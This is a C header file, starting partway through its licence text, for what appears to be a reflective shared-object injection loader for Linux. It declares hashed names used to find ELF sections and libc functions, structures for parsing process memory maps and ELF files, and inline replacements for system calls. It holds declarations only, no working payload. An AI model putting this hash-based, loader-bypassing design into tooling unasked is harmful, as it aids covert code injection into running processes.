OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVESOINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVESOINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | //===============================================================================================// 41 | 42 | #define DYNSYM_HASH 0x32E01F5C 43 | #define DYNSTR_HASH 0x32e01ec6 44 | #define RELAPLT_HASH 0x83203420 45 | #define RELADYN_HASH 0x832008A1 46 | #define DYNAMIC_HASH 0x291B7051 47 | #define CALLOC_HASH 0xAE7968B2 48 | #define MPROTECT_HASH 0x2874F1C2 49 | 50 | #define DLOPEN_HASH 0x08AD428F 51 | #define DLCLOSE_HASH 0x73B0998F 52 | #define DLSYM_HASH 0xDBE4741E 53 | 54 | //===============================================================================================// 55 | 56 | typedef struct { 57 | unsigned char *maps; 58 | unsigned char *pos; 59 | unsigned int size; 60 | } MAPS_FILE; 61 | 62 | typedef struct { 63 | void *startaddr; 64 | void *endaddr; 65 | char *perms; 66 | char *name; 67 | } MAPS_ENTRY; 68 | 69 | typedef struct { 70 | /* ELF Header and Baseaddr */ 71 | Elf64_Ehdr *header; 72 | void *baseaddr; 73 | 74 | /* ELF Section Headers */ 75 | Elf64_Shdr *secdynsym; 76 | Elf64_Shdr *secdynamic; 77 | Elf64_Shdr *secrelaplt; 78 | Elf64_Shdr *secreladyn; 79 | Elf64_Shdr *secdynstr; 80 | Elf64_Shdr *sections; 81 | Elf64_Phdr *segments; 82 | 83 | /* ELF Sections */ 84 | Elf64_Dyn *dynamic; 85 | Elf64_Sym *dynsym; 86 | char *dynstr; 87 | char *SH_STRTAB; 88 | void *gnu_hash; 89 | Elf64_Rela *relaplt; 90 | Elf64_Rela *reladyn; 91 | 92 | /* Counters of "things" */ 93 | unsigned int dynsymcount; 94 | } ELF_FILE; 95 | 96 | //===============================================================================================// 97 | 98 | #ifdef RSOI_DEBUG_MODE 99 | int ReflectiveLoader(char *debugFile); 100 | Elf64_Ehdr* load_file_debug_mode(char *debugfile); 101 | #else 102 | int ReflectiveLoader(); 103 | #endif 104 | 105 | __attribute__((always_inline)) inline void* get_libc_base_addr(); 106 | __attribute__((always_inline)) inline MAPS_ENTRY get_next_maps_entry(MAPS_FILE *maps); 107 | 108 | __attribute__((always_inline)) inline unsigned int get_num_dynsym_entries(ELF_FILE *e); 109 | 110 | __attribute__((always_inline)) inline uint64_t convert_string_to_64bit_pointer(unsigned char *x); 111 | __attribute__((always_inline)) inline unsigned int copy_in(int fd, void *address); 112 | __attribute__((always_inline)) unsigned int get_program_memory_size(Elf64_Ehdr *header); 113 | 114 | __attribute__((always_inline)) unsigned int check_elf_magic(Elf64_Ehdr *elfHdr); 115 | __attribute__((always_inline)) Elf64_Ehdr* find_elf_header(); 116 | __attribute__((always_inline)) void call_program_constructors(ELF_FILE e); 117 | 118 | __attribute__((always_inline)) inline void* crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset); 119 | __attribute__((always_inline)) inline int crt_close(int fd); 120 | __attribute__((always_inline)) inline int crt_munmap(void *start, unsigned long length); 121 | __attribute__((always_inline)) inline void *crt_memcpy(void *dest, const void *src, unsigned long n); 122 | __attribute__((always_inline)) inline int crt_read(int fd, char *buffer, unsigned long bufferlen); 123 | __attribute__((always_inline)) inline int crt_stat(const char *path, void *buf); 124 | __attribute__((always_inline)) inline unsigned long crt_strlen(const char *s); 125 | 126 | __attribute__((always_inline)) inline unsigned int hash(unsigned char *word); 127 | __attribute__((always_inline)) inline unsigned int find_section_by_hash(unsigned int sectionHash, Elf64_Shdr *sections, unsigned char *SH_STRTAB, unsigned int numSections); 128 | 129 | //===============================================================================================// 130 | #endif 131 | //===============================================================================================// 132 | --------------------------------------------------------------------------------